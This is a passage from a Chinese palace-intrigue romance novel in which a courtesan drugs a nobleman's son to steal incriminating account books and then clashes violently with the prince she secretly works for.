蝴蝶难飞,那一抹艳色却又再起,像是转世为了绝代的佳人,步履盈盈,眉眼清晰,手划广袖,慢慢朝他走过来。
铃铛声变得缓和,轻轻迈一步,才似有似无地响一声,像猫爪子一般抓在人心上,令人莫名地难耐。
殷戈止回神,眼神复杂地看着她。
广袖襦落地,雪白的藕臂往他肩上一搭,她俯身下来,舔着嘴唇风情万种地问:“公子,想吃点心吗?”
喉结微动,殷戈止声音低哑:“有甚点心?”
低头侧着吻上他,唇齿之间大胆厮磨,她笑得多情,指尖划过自己的眉眼,辗转之间低喃道:“自然是美人酥了。”
月光醉人,殷戈止跟着她滚到那软榻上去,被她小鸡啄米似的吻着,一时间没能回过神。
今日,他算是来收服人心的,既然决定要合作,那她,最好对他死心塌地才好。本就说仰慕他的人,降服起来应该更加容易。
但,怎么会变成现在这样呢?他像是已经把她捏在手里了,却又像什么也没捏住,脑海里反而全是翻飞的红色舞裙,以及蛊惑人心的铃声。
殷大皇子御女无数,尝过千百种女人的滋味儿,却只对两个人有过这般感觉。
来不及细想,月光下的妖精就勾引着他往无边的暗流里沉,脑子努力想思考点什么,但到最后,终于是什么也想不到,只想伸手撕了她的舞裙。
寂静的不阴城,有缠绵之音,也有惊骇的尖叫。
易掌珠不知道自己在往哪儿跑,殷戈止早就没了影子,她身后全是梦回楼出来的恩客,好不容易甩开,结果却迷了路。
街上人烟稀少,点钗着急地道:“小姐,咱们得找人问路,快些回去。”
“你不说我也不知道,但现在去问谁?”有些烦躁地扯了扯裙子,易掌珠正要再抱怨两句,冷不防地觉得背后一凉。
一把刀横空而来,往她手臂上一划。
“啊——”惨叫声响彻整条街道,点钗吓傻了,回头看着蒙面人,腿都打哆嗦。
易掌珠只觉得疼,瞧着胳膊上还渗血了,当即就道:“将军府的人你也敢动手,不要命了?”
蒙面人冷笑一声,拔刀又来。易掌珠这才发觉人家是当真来杀她的,吓得魂飞魄散,转身就跑!
“救命啊!救命啊!”
两个女子跑得一点也不快,但身后的人就这么不紧不慢地追着,时不时又给易掌珠来一刀,划破她的衣裳。
从小被人捧在手心里的大小姐,哪里受过什么伤?当即就觉得自己要**,叫得更加惨烈,脸上泪水鼻涕横流。
就在她们跑得力竭几乎绝望的时候,旁边突然有一队
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护卫冲了出来,大喊一声:“什么人!”
蒙面人见状,立马转身消失无踪。
几乎要晕过去了,易掌珠跌坐在地上,捂着手臂哭得惨兮兮的:“救我……”
“易小姐?”护卫里有人认出了她,连忙道:“您怎么来这儿了?”
抬头看了一眼旁边府邸的牌匾——南宫府。
南宫家啊,重重地松了口气,易掌珠放心地晕了过去。
第二天一大早,风月睁眼,就看见观止满脸通红地背对着床站着,小声喊:“主子。”
殷戈止睡得正好,手搂着风月柔软的腰肢,不愿意睁眼。
低笑一声,风月道:“你家主子醒了。”
旁边的人不悦地睁眼,瞪了瞪她,然后慢慢撑起身子:“怎么?”
听见自家主子的声音,观止终于松了口气,连忙道:“出事了,昨儿晚上易大小姐在城中**,太子一大早便出宫去将军府了。”
风月一愣,就见旁边的人飞快起身,下床更衣之后,便道:“过去看看。”
门打开又合上,屋子里瞬间安静下来,风月挑眉,低头看了看自己,又看了看那头也不回的人,心想,这关系怎么还是妓子与恩客啊?她昨儿跳那么辛苦,都没点改善的?
撇撇嘴,裹了衣裳下床,她打开房门,就听得外头几个姑娘又在聊天了。
断弦哼笑道:“没见过那般不要脸的大小姐,多尊贵的身份啊,却自己跑出来送死。”
“人家养在深闺里的,不知道世间险恶。”金玲撇嘴:“可怜的还是下头的人,瞧瞧这大清早的,衙门闹得是沸沸扬扬,护城军恐怕也得被问责。”
护城军?
心里微动,风月转身,就看见打扫房间的大婶笑眯眯地对她道:“姑娘,要清扫吗?”
朝她点头,看着她进自己的房间,风月等了一会儿,等她出来之后,便径直进门,打开柜子翻了纸条来看。
“太子有意问责护城军,已经动手。赵麟家财甚多,来路不明,有账本在书房挂画后的暗格内,奴不得近。”
何愁不会武功,又没人相助,能在这么短的时间内打探到这么多消息,已经很厉害了。
想了想,风月烧了纸条,换了一身干净的衣裳,拎过灵殊来道:“我打算去拜访一下何愁姑娘,你好生在这儿守着,要是有人来找,只管告诉他们我的去处。”
“好。”灵殊点头,天真地塞给她一盒点心:“拿这个当礼物吧。”
郑重地应了,风月出门,一路把点心当早膳吃掉,然后去旁边的瓷器铺子买了个不大不小的摆件,抱着就往都尉府去。
都尉府这种地方是一向不好进的,不过门房很是懂事,一听她来找何愁,立马就去传话了,没一会儿就有丫鬟引着她进门,一边打量她一边道:“何愁姑娘不是无亲无故么?您是?”
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第54章 特殊手段
瞧这丫鬟总觉得目光不是很友善,风月笑了笑:“我是梦回楼的人,承蒙姑娘照顾,也念她无亲无故,所以来看看。”
眼里瞬间多了些鄙夷,丫鬟勉强笑着,引她到了个路口,便道:“奴婢还有别的事情,您自个儿往前走几步,瞧着个院子,进去就是了。”
风月挑眉:“你不是何愁姑娘的丫鬟?”
朝她行了一礼,那丫鬟看起来连多说的兴趣都没有,转身就走了。
风月咋舌,抱着盒子看了她的背影一会儿,便按照她指的路走。
这都尉府看起来是不大,可谁知进来之后别有洞天,高楼连苑起,气派不凡。
可再往前两步,是个看起来就很陈旧了的院子,院门半开,连个家奴都没瞧见。
“何愁姑娘?”
站在门口喊了一声,里头好像有点动静,风月等了一会儿,就看见何愁自己出来了,打量她两眼,眼里有惊讶之色:“风月姑娘?”
“我来看看你。”笑着走过去,将盒子放在她手里:“这是礼物。”
这个时候来看她?何愁抿唇,垂眸道:“我的境地可能没有你们想的那样好,来找我帮忙的话,恐怕帮不上什么。”
“姑娘误会。”风月摇头:“我只是受人之托来拜访姑娘,顺便在这院子里走走。”
微微一怔,何愁看向她。
面前的人笑得别有深意,像是知道她在做什么,从而来与她接头的。
心里松了松,何愁微笑:“原来如此,那咱们且出去走走。”
说完,放了手里的盒子,拉着她就出门。
“姑娘委屈了。”走在小道上,风月低声道:“很辛苦吧?”
“日子不太好过,可也有个盼头。”知道她是自己人,何愁的态度就好多了,温和地道:“你瞧这院子,富丽堂皇,里头定然藏着不少的秘密。我被人薄待是情理之中的事情,到底是出身低贱。可也正因为低贱不懂规矩,冲撞之下,能瞧见些事情。”
风月点头,正想夸她呢,就看见了她脖子上青紫的掐痕。
“姑娘?”吓了一跳,风月瞪眼。
何愁一愣,顺着她的目光摸了摸,低声道:“没什么要紧,受了点为难,但还活得下去。”
这样的高门大院里,进了个青楼的狐狸精,日子自然难过,加上赵悉是个喜新厌旧的,一冷落她,她就只有任由其他姨娘欺负。
男人就是这样,朝三暮四,永远喜欢新鲜的女人,宠你之时什么话都能说出来。不宠了,也就没心思管你死活。
风月皱眉,神色看起来有点阴鸷,把何愁吓了一跳,连忙道:“没什么大碍,你不用太紧张。”
“嗯。”闭了眼,风月缓了口气,再睁眼,又笑得妩媚:“这府里,咱们能随意走动吗?”
“自然是不能的,书房那一块儿以及前院都尉的居所,都不能去。”何愁道:“只能在后院里逛,上次我装傻硬闯进去,只听见些账本之类的话,从半开的窗户里瞧见机关,之后就被赶出来,还受了顿家法。”
“辛苦你了。”风月道:“帮我个忙吧,我有法子光明正大地进去。”
都尉平时都是不在府里的,这府邸也没有将军府的守卫那般森严,难度小了很多。
何愁点头。
赵悉从自家老爹那儿挨了顿骂回来,不高兴极了,一路走一路骂:“城里出事与我何干?他干什么把气撒我身上?”
旁边的奴仆躬身道:“老爷也是一时气急,公子别生气,不如去何愁姑娘的院子里,舒坦舒坦?”
妓子出身的姑娘,床上功夫都不错,比那些个正经家欲拒还迎犹犹豫豫的姑娘讨他喜欢多了。不过何愁他玩腻了,要发泄,也该找点新鲜的。
正想着呢,就瞧见前头路上站着两个人。
何愁依旧是那副温和的模样,像一盆君子兰,初时觉得舒坦,可看久了,到底是没花好看。赵悉摇头,正打算转身,却听得她喊了一声:“少爷。”
下意识地回头看一眼,就见她旁边的姑娘也转过脸来,一脸好奇地看着自己。
容色艳如海棠,身段窈窕诱人,这可不就是梦回楼的风月姑娘吗?听闻一直被大人物包场,今日怎么会到这儿来了?
色心顿起,赵悉笑着走过来,看着风月道:“有客人?”
何愁颔首:“风月姑娘素来与妾身交好,今日得空,便来看看妾身,若有冲撞之处,还望少爷莫怪。”
“哎,这有什么好怪的。”看着风月,赵悉道:“既然来了,就好生坐会儿吧。”
“这……”何愁有些为难,偷偷拉了拉赵悉的袖子,低声道:“风月接的都是大人物的客,去的府邸也都分外光彩,妾身那院子有些杂乱,还未收拾妥当,不知少爷可否帮妾身拖着她,让妾身回去收拾一二,好歹别丢了都尉府的颜面。”
瞧她这一脸紧张,也能猜到女儿家之间的明争暗斗,赵悉了然一笑,点头道:“好。”
于是何愁就对风月道:“你先跟着少爷四处走走,我去拿点东西。”
风月一脸天真地应下:“好,正好想看看这都尉府,瞧着都觉得气派。”
看着何愁走了,赵悉笑着就站在风月身边:“姑娘想看,那就随我来,这府邸里最气派的地方,自然是在前院。”
说着说着,手就搭上了风月的腰。
风月一顿,侧头轻飘飘地看他一眼,那小媚眼一抛,酥得赵悉打了个哆嗦。眼里的欲望就更直接了:“咱们去我的院子里坐坐?”
咬唇揉手帕,风月拿开他的手,凑近赵悉耳侧,娇声道:“院子里有什么好坐的?不就是一张普通的床榻?少爷要玩,就该玩刺激的。”
“哦?”眼里兴奋之色更浓,赵悉问:“姑娘想在哪儿玩?”
“上回去一户人家,瞧着家规严明,但那位恩客喜欢刺激的,就带着奴家在他那刻板的父亲的书房里……那张紫檀木的桌子,很是冰凉。”
媚声媚气的几句话,听得赵悉咽了口唾沫,眼里都泛了红:“姑娘当真是世间难得的尤物,怪说不得那样多的贵人都拜倒在姑娘裙下。”
“少爷也
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想试试?”风月眨眼,伸手勾了勾他的腰带。
这一勾,赵悉魂都没了,带着她飞快地就去了赵麟的书房,门口有护卫拦,他一脚就将人踹开:“我来读书的,你们也敢拦着?”
护卫一脸铁青,心想您带着个姑娘来读书?不过下不与上争,护卫还是识趣地躲开,任由赵悉一把将门推开,末了还回头道:“不管听见什么声音,你们都别进来。”
“……是。”
风月含羞一笑,跟着他进门,门刚一关上,就被他压住了身子。
“公子急什么?”嗔怪地推开他,风月扭着腰就往里头走,看了一眼那书桌,朝赵悉使了眼色。
赵悉狂喜,跟着便过去,然后就被风月压在桌上。
美人儿妖媚万分,扯着自个儿的衣襟,手里的香帕带着好闻的气息,在他脸上若有若无地扫。
赵悉痴了,张口就去咬她的帕子,捏着人的腰就想轻薄。
这手感美得跟梦一样,恍惚间,赵悉觉得很困,心想难不成自己当真是做梦了?
风月笑眯眯地看着他,看着他眼皮沉重的模样,问了一声:“奴家的温柔乡美吗?”
“美……”话没落音,手上就先没了力气,垂在桌边,晃悠了两下。
站起身子,风月看了外头一眼,飞快地找到墙上的挂画,琢磨了一下机关,拧开之后,将里头的东西一股脑地塞进肚兜里,然后转头,扯了赵悉腰上挂坠的一根丝穗,挂在机关之上。
现在得离开这儿,风月微笑,伸手就将赵悉的衣裳扒了,然后扯乱自己的衣裳,捂着嘴嘤嘤嘤地打开门。
外头的护卫一愣,就对上一双委屈至极的眼。
这一双眼欲语还休,像是受尽了委屈和羞辱,不堪承担,羞愧跑走。
知道自家少爷是什么性子,护卫也就没拦,装作什么也不知道的样子,还把门给带上了。
风月一路跑出去,坐在都尉府的门口就放声大哭,引来不少人的围观。
围观百姓指指点点,说这又是谁家的姑娘啊,一看就是被欺负了,都尉府大门大户的,被欺负了只能在门外哭,真是可怜。
风月哭得极其逼真,鼻涕都往衣裳上抹,要的就是四周百姓都瞧见,到时候好给她一条生路。
然而,事情出了点意外。
有人越过人群,一把就将她拉上马车,脸色不太好看:“风月姑娘,这是怎么回事?”
叶御卿!
吓得打了个嗝,风月眨眨眼看着他,又看看马车里的另外两个人。
殷戈止神色阴鸷,易掌珠一脸惊讶。
今儿这是吹的什么妖风,把这三个人吹一起了?
抹了抹眼泪,风月低头:“见过两位公子,易小姐。”
下巴半晌才收回来,易掌珠看了看她这衣衫不整的模样,皱眉:“你这是上门找生意来了还是怎么的?”
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第55章 你的作用
这话说得有点难听,叶御卿都侧头看了她一眼。
易掌珠浑然未觉,只盯着风月,等她回答。
一点没觉得难堪,风月倒是惊讶地看了看她,然后夸奖似的道:“没想到易小姐只是去梦回楼弹了个曲子,就连咱们这行的生意都了解了。”
去梦回楼弹曲子?叶御卿皱眉:“珠儿?”
惊白了脸,易掌珠连忙摇头:“我没有!”
可一看殷戈止还在旁边呢,易掌珠当即就羞红了脸,低着头不吭声了。
“今日来此,倒不是做生意的。”风月抿唇,拢了拢衣裳:“是来看看何愁姑娘,毕竟都是梦回楼之人,想来看她过得如何。不曾想遇见了赵家少爷……”
神色陡然委屈,风月咬唇,没再吭声了。
这是装给叶御卿看的,毕竟这人温柔体贴,对她可比殷戈止疼惜多了。
果然,叶御卿当即便道:“赵家少爷一向跋扈好色,没想到在自己府上更是不加收敛。”
易掌珠撇嘴,小声道:“风月姑娘是妓子,又不是什么良家闺女,送上门去,人家轻薄了不也就轻薄了,难不成还寻死觅活的?”
垂了眼眸,殷戈止颔首:“掌珠说得有理。”
本来其实也是这个道理,但这狗男女一唱一和的,风月心里就不太舒坦了,嗤笑一声便道:“也是,在大小姐看来,咱们这些**的姑娘随便谁要欺负都是不能反抗的,谁让咱们本来就是卖的?”
“你还算有自知之明。”易掌珠撇嘴。
殷戈止一声不吭,别开了头没看她。风月一顿,正想说这贵人的车她也坐不起,不然就下去吧,谁知道叶御卿突然道:“停车。”
缓缓行驶的马车停了下来,叶御卿板着脸便下去,转身掀开帘子,看着风月道:“下来。”
风月一愣,跟着下去,尴尬地笑了笑:“不用殿下赶,奴家自己也不想坐的。”
话没说完,手就被人牵住了,叶御卿侧头看着她,眼里满是心疼:“不想坐就不坐了,旁边有个胭脂铺子,你脸上狼狈,不如过去洗洗脸。”
他的手心温热,握着她冰凉的手,一阵暖意就直冲人心口。风月眨眼,有些意外,呆呆地被他牵着走,都忘记了反抗。
“这……”车上的易掌珠不高兴了,捂着自己包得很厚的胳膊,皱眉道:“不是说来给珠儿讨公道的吗?怎么又跟她走了。”
说着转头,想跟殷戈止抱怨,却被他阴沉的脸色吓了一跳:“殷哥哥?”
周身气息微敛,殷戈止面无表情地道:“殿下未免有些不像话。”
“可不是么!”易掌珠道:“说是想娶我,可也没少跟别家姑娘往来。如今更是好,我还伤着呢,他就带着个妓子走了?”
掀开帘子看了看那两人的背影,又皱眉道:“太子哥哥不会是喜欢上那人了吧?”
“何以见得?”身后的人淡淡问了一声。
易掌珠不悦地道:“太子哥哥平日虽然也温柔,可很少碰别的女人的,这倒是好,都牵上手了。”
马车里沉默一片,殷戈止侧头,从车窗的空隙里看了外头的都尉府一眼。
风月洗了脸,用叶御卿刚买的胭脂上了妆,笑眯眯地朝他行礼:“多谢。”
深深地看他一眼,叶御卿凑近她,低声道:“按道理说,我是该利用你这楚楚可怜的样子,劝说殷戈止,让他尽快对都尉府下手的。”
风月挑眉,心想这算盘要打歪啊,殷戈止那种心思深沉的人,怎么可能因为她就听太子的话,打乱自己的步调?
结果面前的人突然笑了一声,不知道是笑她还是笑他自己,扇子一展,又挡了半边脸,只剩下一双幽深的眼,声音低沉地道:“可是,他还没心疼,我倒是先心疼了。”
心里一震,风月抬头,诧异地看着他。
伸手挡了她的眼睛,叶御卿叹息:“罢了,今日我心情不太好,咱们不做别的,回去看你跳舞如何?”
“……”犹豫片刻,风月颔首:“好。”
她怀里的东西,得尽快给殷戈止,不过既然给不了,那就先放回梦回楼去。
“小姐,殿下先走了,说有要事。”随从走到马车边禀告。
易掌珠一听就气笑了:“要事?我伤得这么严重,他还有别的要事?”
随从低头不敢吭声,易掌珠边笑边掉眼泪:“没见过这样的人,口口声声想娶我,却又这样对我。”
“好了。”旁边的人淡淡地道:“他要忙,那这都尉府,咱们进去便是。”
一听这话,易掌珠心里才舒坦点,泪眼朦胧地看着殷戈止:“还是你对我好。”
眼眸半垂,殷戈止道:“你在城中被刺,近来也发生过有人城中被掳,还能安然出城的事。都尉府失职严重,定然该给个交代。”
有他这话,易掌珠分外安心,直接让车夫去都尉府敲门。得知赵都尉不在府上,便直往当朝太尉府上而去。
回到梦回楼,风月更衣,藏好东西之后,便与叶御卿倒茶,然后问:“您想看什么舞?”
叶御卿低笑:“你喜欢跳什么,就看什么。”
歪着
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头盯着他笑,风月道:“您太宠着奴家了。”
“你这般好的女子,再怎么宠也不过分。”展开扇子,他道:“只可惜红颜多磨难,你这日子并不安生。”
低笑一声,风月道:“日子不安生也好,活得有滋味儿。”
“竟然是这么想的?”叶御卿挑眉:“我还想替你赎身,将你送去使臣府,过点好日子。”
微微一顿,风月连忙道:“此举不妥。”
“怎么?”
去使臣府,她还怎么接收各方消息啊?在殷戈止的眼皮子底下,那肯定是要被摸透所有人脉关系,然后失去价值被抛弃的!
咧嘴一笑,风月一本正经地道:“男人么?妻不如妾,妾不如偷,奴家在这梦回楼,还能让他多惦记些。送上门去喂了个饱,那就不管用了。”
叶御卿愕然,怔怔地看她,突然就笑了出来:“还有这种说法?你倒是看得通透。”
“唯熟练尔。”风月惆怅地叹息,然后卖乖似的道:“上次您交代的事情,奴家已经做了,就是不知可有作用。”
笑着颔首,叶御卿道:“他如今肯帮我了,又有你助我一把,事情自然会很顺利。风月,你的作用,可比你想象中的大多了。”
与其说是她在帮叶御卿给殷戈止吹风,不如说是殷戈止借着她这个台阶,下去了太子的场子里,亏得太子还以为自己得手了,孰不知,殷大魔王在背后磨刀,不知道磨得多开心。
低头行礼,风月道:“奴家惶恐,还是给殿下跳一支舞吧?”
正要应下,门口的冯闯就低声道:“主子,易大小姐他们去了太尉府。”
太尉府?叶御卿一顿,有些不耐:“不是都说了改日再去吗?”
冯闯叹息:“没人敢拦着大小姐。”
殷戈止也不拦?!
揉了揉太阳穴,叶御卿道:“他是存心不让我安生。”
“殿下中途离开本也不是太妥当。”风月柔声道:“既然还有事,那殿下就先去吧,免得委屈了易小姐。”
“我是看你受委屈了,才说改日再论那事的,反正证据还不是很全,现在去也不会有太好的结果。”长出一口气,叶御卿起身,无奈地道:“但看起来,珠儿是不愿意等了,如此,我也只能过去一趟。”
“您慢走。”
不情不愿地跨出门,叶御卿边走边扇风,努力让自己冷静点。
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第56章 难得的情绪
命这东西,他是不信的,每次来了这儿都得走,一定是个巧合!
可是,当真只是巧合而已吗?
太子殿下眯着眼睛想了一路,在到了太尉府看见殷戈止之后,终于定了心。
一定是个巧合,因为眼前的殷戈止,正分外严肃地看着他道:“掌珠受了重伤,殿下何以半路而走?”
重伤?看了一眼坐着的易掌珠,叶御卿很想说,她这点皮肉伤,真的不用太大惊小怪,风月骨头碎了不也活蹦乱跳的?
但是想想立场,他还是满脸愧疚地看着易掌珠道:“是本宫的错,易大将军走时将珠儿托付给本宫照看,没想到却出了这样的事。”
出了这样的事就算了,他还跟别人跑了!
易掌珠委屈极了,捂着胳膊眼泪唰唰的。
叶御卿只能低声哄着:“本宫一定让他们将刺客捉拿归案,你先别哭了,可好?”
孟太尉走出来,看见的就是这么一副哄小女孩儿的场景,当下便觉得有些胡闹。他这是太尉府,统管所有吴**事之所,不是什么敞开门的衙门,哪里容得人来这般哭喊的?
不过瞧着是当朝太子,又带着易大将军的掌上明珠,孟太尉还是上来行了礼:“殿下亲临,不知所为何事?”
转头看着他,叶御卿叹息道:“城中贼人肆虐,已经发生多起刺杀**之事,护城军失职,本宫奉父皇之命,来问太尉要个闻风令。”
闻风者,听民声疾苦之意也,作为令,则是监督之用,但凡发现所督之人有**或贪赃枉法之行为,令出废官,收押大牢候审。此令多用于三公繁忙,下头却意外频发之时,作震慑之用。
太子直接问责守城军,未免太过针对,会引人非议。但来问要个牌子,还是情理之中的事情,毕竟他一心想娶的易大小姐受伤了,自然会殃及池鱼,同护城军过不去。
孟太尉很忙,觉得不是什么大事,那就允了吧,于是便让人拿牌子出来给他。
叶御卿接了牌子,转头就放在了殷戈止的手里。
“这……”这才注意到旁边一团黑的人,孟太尉吓了一跳,下意识地就后退几步,心有余悸地道:“太子要这位……去督查护城军?”
“还有比他更合适之人?”叶御卿挑眉,笑着道:“殷殿下身上没有任何一方的利益牵扯,最是公平公正,太尉觉得呢?”
有道理,孟太尉点头。虽然这人对他来说像噩梦一样,但眼下为质,一不怕强权,二不怕暗杀,实在是很适合去督查。
“殿下英明,那老臣就先告退了,还有军务要处理。”
“太尉慢走。”叶御卿颔首,等人走得没影了,才一脸宠溺地看着易掌珠道:“交给你殷哥哥了,放心了吧?”
易掌珠抿唇,点头。殷哥哥是不会让她吃亏的!
“如此,那在下先走一步。”殷戈止很是严肃地道:“此事,定然会给将军府一个交代。”
“好。”叶御卿很欣慰,看着他的背影,忍不住感叹:“你殷哥哥当真是心疼你,刚拿到东西,就迫不及待地替你出气。”
脸上微红,易掌珠轻哼道:“可不是么?比您对珠儿上心多了。”
“不高兴了?”叶御卿低笑,轻轻捏了捏她的脸颊,打趣道:“那本宫带你去宫里玩玩,顺便给母后请个安,如何?”
“受伤了,不想动。”易掌珠扁嘴:“回府去歇着最好。”
“好,都听你的。”宠溺万分,叶御卿扶起她便往外走。
出了太尉府,殷戈止面无表情地上马,直奔梦回楼。
风月正翘着腿嗑瓜子呢,嘴皮一翻,很用力地朝门口吐着壳。所以,当殷大皇子打开门进来的时候,一片儿可爱的瓜子壳就飞到了他脸上,带着晶莹的液体,黏住不动了。
殷戈止冷笑了一声,垂眸看着里头那不怕死的人。
吓得浑身**倒竖,风月立马上来拿帕子给他擦脸,然后嘿嘿嘿地笑道:“不知您要来,冒犯了,冒犯了哈。”
浑身的气息都不太友善,殷戈止转身,直接将要送茶进来的灵殊给关在了外头,别上了门栓。
咽了口唾沫,风月赔笑:“怎么了?出什么事了吗?”
“你去都尉府做什么了?”冷冷的声音,半点感情也不带,殷戈止看着她问。
说起这个,风月立马邀功似的捧了个黄梨木的盒子出来,递到他面前道:“这个,有用。”
微微一顿,殷戈止伸手接过来,打开看了看。才翻开账本扫了两页,就合上了。
“只是为了这个?”
什么叫“只是”啊?风月咬牙:“这账本很重要的,完全可以用来定赵都尉**之罪,还能咬三司府一口,一箭双雕,全在此招!难道还不够吗?”
“所以,这么重要的账本,你是用什么法子拿到的?”盯着她脖颈间看了看,殷大皇子懒得掩饰了,浑身都是不悦的气息,步步逼近她。
咽了口唾沫,风月道:“自然是用女儿家能用的法子了,赵悉好色又荒唐,奴家就是想试试能不能迷惑他,结果还当真成了。”
“哦?”伸手慢慢抚上她的脖子,殷戈止眯眼:“你本事倒是不小,脸也是真的不要,送上去给人家轻薄,还好意思坐在人家门口哭?”
这话比易掌珠说的还刺耳,风月皱眉,抬头看他:“公子觉得,拿了账本回来不算功劳,倒是奴家装腔作势比较可恶?”
“不是可恶。”伸手摩挲着她脖子上的痕迹,殷戈止压低了声音,字字句句如针如刺:“而是你用这样的身子再来伺候我,我会觉得非常恶心。”
脸色微白,风月飞快地垂眸,闭着眼睛消化了好一会儿,才笑道:“从您点奴家那一日起,便知道奴家不是什么干净的人,现在才觉得恶心?”
“妓子也有不失风骨之人在。”盯着她,眼里当真是恨,殷戈止一手紧握,另一只手钳住她,低声道:“可你,委实**。”
“哈哈。”没忍住,风月乐了,媚眼一横,瞧着
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他道:“喜欢有风骨的妓子,您大可以去其他姑娘那儿,来奴家这儿受什么气啊?奴家就是整个楼里最贱的一个,您头一天不就该看出来了吗?”
“试问**,几个人敢跳?奴家敢啊!见高踩低的事儿,谁敢放在明面儿上做?奴家也敢啊!都是残花败柳的身子,给一个人上是上,给一群人上也是上,能换来东西的时候,奴家还要守身如玉不成?”
说到最后一句话,眼睛到底是红了,风月眼里笑意更凉,伸手就扯开自己衣襟,看着他道:“您不是也最喜欢奴家的身子了吗?脏了就不喜欢了?别人可没奴家这般了解您的身子,没奴家伺候得好!”
手收紧,殷戈止头一次觉得暴怒,眼里微微带血地看着她,再用点力,都能直接掐死她。
“您……可别忘记奴家是给您做事的。”呼吸困难,风月依旧在笑,抓着他的手道:“掐死奴家……往后这种重要的东西,可就没人用身体给您换来了!”
“滚!”捏着她狠狠往旁边一扔,殷戈止怒不可遏,万年冰封的脸上,难得地裂了巨大的豁口,情绪全数喷薄而出。
**自己怎么会生这么大的气,等反应过来的时候,那抹红色的影子已经在地上滚了几滚,狼狈地扶着床了。
是妓子啊,他一开始点她就知道她是妓子,也不是清白之身,不知道跟多少人有过,也不知道对多少人说过很爱慕他之类的话。他是冷眼看她的,看她婀娜多情,看她妖媚迷人,看她跟蛇一样缠着自己,吐着信子求欢。
这样的女人,他不会放在心上,就是利用而已。
可是当真发现她这般自甘**的时候,他心口竟然堵得难受,更是暴怒难当,不知如何是好。
突然就很想上阵杀敌,这股子火气,怕是只有**才能平息。
“咯咯咯。”即便浑身都疼,风月也还是笑得贼欢,狐眸睨着他,像是发现了什么不得了的事情,欣喜地道:“殿下竟然会为奴家发这么大的火,真是让奴家受宠若惊啊!”
怒火微消,殷戈止闭眼,狠狠抹了把脸,平静了下来。
不对劲。
这女人一定是会什么妖术,他这样的状态,很是不对劲。
笑眯眯地靠在床脚边,风月看着那人冷静下来,然后开门离开,身子痛,心里很愉悦。
堂堂殷大皇子,竟然会对个卑贱的妓子动感情,哎呀呀,真是难得一见,可喜可贺。
作为那个妓子,风月觉得,要勾引殷戈止其实也没有她想的那么难啊,瞧瞧,这不就上钩了吗?当年多纠结啊,陪人家睡觉陪人家聊天,小心翼翼地藏着自己不让人家发现,到头来什么也得不到。
如今好了,不过是跳跳**,陪他睡睡觉,这人竟然便在意她了。
笑着笑着,风月就觉得脸上有点痒,伸手一抹,水灵灵的。
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第57章 共存亡
瞪眼看了自己的手一会儿,风月扯了衣袖便抹了把脸。
有啥好哭的,她还活着呢,比起那么多长眠于地下之人,她还能说会动,做什么要浪费宝贵的情绪在这种滑稽的争吵上头?
殷戈止吵,那就是他输了,要做大事的人,竟然还这么婆婆妈妈的,一点也不像横刀沙场的大魔王。他要继续这样下去,那她大不了当真帮太子,反正都是要成事的,只是太子未必会置易国如于死地而已。
撑着床弦站起来,揉了揉身上摔疼的地方,她看了一眼桌上。
还好,把黄梨木的盒子带走了,没有气得不管不顾。
这东西,要是不能很快地把都尉府解决了,那她可能就会先被赵悉给弄死。毕竟就她一个外人进过人家书房,要是发现东西丢了,肯定第一时间来找她算账。
想了想,捂着腰眼,风月打开门喊了一声灵殊:“咱们去买绿豆糕啊!”
急忙蹿进来扶着她,灵殊上下打量她,道:“您还有心情吃绿豆糕!方才好大的动静啊,那位公子冲您发火了?”
若无其事地摇头,风月认真地道:“他大概是家里有什么丧事,所以心情不好,你不必在意,我又没伤着。走吧,既然没客人,咱们就去吃东西。”
是这样吗?半信半疑地看着自家主子,灵殊捏捏她的手臂,又捏捏她的腰:“当真没伤着?”
她方才明明听见有人摔了的声音。
“没有啦,好端端的。”打掉她的手,风月笑眯眯地就往外走。
灵殊被她拉着,飞快地就从后院狗洞爬出去到了郑记糕点铺,一路上都觉得哪里不对劲,可具体是哪里她又说不上来。
主子跑得很快,虽然脸上是笑盈盈的,但好像……有点紧张?
光天化日的,紧张什么?
“啊呀!”一到糕点铺的门口,风月就狠狠地摔了一跤,骨头磕地,吓得旁边的路人都连忙过来问:“没事吧?”
动静这么大,郑记老板娘自然是出来了,关切地道:“姑娘这摔得有点狠啊,进来歇会儿?”
“有劳。”朝她一笑,风月扶着灵殊的手缓缓站起来,一瘸一拐地往铺子里走。
铺子里有不少在用点心的人,看着风月这摔得灰头土脸的模样,也没多在意,只觉得老板娘心好,还让她上楼洗漱一番。
心好的老板娘笑眯眯地让灵殊去打水,然后关上二楼的房门,神色顿变。
“出什么事了?您竟然亲自来?”
揉了揉膝盖,风月道:“时间紧迫,找些弟兄去把何愁捞出来,要赶在赵都尉回府之前。”
看看外头的天色,郑氏皱眉:“这……”
“不用顾虑太多,捞出来就出城,去城外的小村子里躲躲风头。”伸手递给她一张银票,风月道:“立马做,不要犹豫。”
“是。”主子都这样吩咐了,郑氏自然不能多说什么,下楼就让人去传信。
于是黄昏时分,赵麟回府发现书房有异,找了赵悉盘问的时候,何愁已经坐在出城的马车上了。
“风月姑娘怎么办?”她皱眉问了旁边的人一句:“此事,怕是要牵扯梦回楼。”
“你放心。”旁边的人安抚她:“少主机敏,自然会有办法的。”
少主?微微一愣,何愁讶然:“什么少主?”
意识到可能说错了话,旁边的人连忙找补:“我是说,少主会替梦回楼想办法的。”
这样啊,何愁颔首,没再多问。
收拾好自个儿的风月带着灵殊,很是不要脸地翻墙进了使臣府。
暗处的刀几乎是要挥到她们的脖子上,可看清脸,刀犹豫了,顿在半路没动。
于是风月就以迅雷不及掩耳之势拖着灵殊冲进了客院。
主院的殷戈止正做事呢,就见观止小心翼翼地来禀告:“主子,来客人了。”
“不见。”翻看着手里的账本,殷戈止头也不抬:“门关上,就说我病了。”
“可……”干笑两声,观止硬着头皮道:“人已经在客院住着了。”
有这么大胆子的人,全不阴城也数不出几个来!“啪”地合上账本,殷戈止抬头,目光很是不善:“她来做什么?”
“听闻,护城军都尉府正在搜查贼人,说是府上丢了东西,直接将梦回楼围了起来。”观止道:“风月姑娘大概是来避难的。”
避难?扫一眼桌上的账本,殷戈止冷笑。
她是觉得,赵都尉比他还可怕吗?避到他眼下来?
殷大皇子其实已经反省过自己了,情绪冷却了不少,但有人这么送上门来,他还是觉得暴躁,放好账本就起身去客院看。
风月浑身都疼,本来被他摔一下已经很惨了,自个儿又摔,膝盖上破了皮,弯都弯不了,只能像个尸体似的横在床榻上,打算等人来发火的时候,使个苦肉计。
脸是什么东西啊,只要能保住她这命,来刚骂了她的人这儿摇尾巴算个啥,真逼急了,她什么都做得出来!
